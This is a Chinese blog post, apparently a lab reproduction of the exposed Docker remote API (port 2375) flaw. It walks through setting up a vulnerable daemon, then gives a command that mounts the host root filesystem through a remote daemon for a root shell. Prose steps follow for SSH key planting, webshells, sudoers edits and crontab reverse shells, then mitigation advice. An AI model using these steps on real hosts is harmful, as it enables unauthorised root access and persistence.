跳到主要内容

docker remote API 漏洞复现

· 阅读需 3 分钟

docker remote API 漏洞复现

漏洞描述

docker是一种开源的应用容器引擎,这个漏洞是利用docker对外开放的一个api接口,因为权限设置不当,导致可以远程命令执行。

测试环境

  • 本地一台虚拟机,一台临时创建的阿里云服务器
  • centos7
  • docker-ce-18.09.9

漏洞复现

首先探测2375端口,如果开放,再构造http:localhost:2375/version请求,如果返回包带有json格式,说明存在该漏洞。

1、安装docker

配置宿主机网卡转发

## 若未配置,需要执行如下
$ cat <<EOF > /etc/sysctl.d/docker.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward=1
EOF
$ sysctl -p /etc/sysctl.d/docker.conf

Yum安装配置docker

## 下载阿里源repo文件
$ curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo
$ curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

$ yum clean all && yum makecache
## 安装指定版本
yum install -y docker-ce-18.09.9

## 配置源加速
## https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
mkdir -p /etc/docker
vi /etc/docker/daemon.json
{
"registry-mirrors" : [
"https://8xpk5wnt.mirror.aliyuncs.com"
]
}

## 设置开机自启
systemctl enable docker
systemctl daemon-reload

## docker daemon
ps aux |grep docker
## containerd
ps aux|grep containerd
systemctl status containerd

2、开启2375端口,提供外部访问

编辑docker文件:/usr/lib/systemd/system/docker.service

vim /usr/lib/systemd/system/docker.service

修改ExecStart行为下面内容

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock \

重新加载docker配置

systemctl daemon-reload # 加载docker守护线程 systemctl restart docker # 重启docker

  • 查看端口

3、信息收集端口

4、查看返回包

5、添加、查看本地密钥

6、远程创建docker并添加密钥

docker -H tcp://8.135.2.198 run --rm -it -v /:/mnt busybox chroot /mnt sh

  • 简单解释一下参数的含义:
    • -rm 容器停止时,自动删除该容器
    • -v 挂载目录。格式为 系统目录:容器目录
    • -i 指示 docker 要在容器上打开一个标准的输入接口
    • -t 指示 docker 要创建一个伪 tty 终端,连接容器的标准输入接口,之后用户就可以通过终端进行输入

7、本地连接目标宿主机

漏洞危害

通过此漏洞,可在docker命令执行,并且影响宿主机。

总结流程

引用网上的一些总结流程

  1. Docker是以root权限运行的,这是所有姿势的前提
  2. Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,我们可以参考redis未授权访问漏洞,将宿主机的/root/.ssh目录挂载到容器上,然后写入公钥。如果有web目录的话,最差也能上一个webshell。
  3. 有些服务器不允许root登录,可以写入其他用户的.ssh/目录下(通过查看/etc/ssh/sshd_config目录),然后修改/etc/sudoer中的文件,配置为sudo免密码,切换为root
  4. 还可以通过crontab写计划任务反弹shell

漏洞修复

1.关闭2375端口 (尤其是公网情况下一定要禁用此端口)

2.在防火墙上配置禁止外网访问2375端口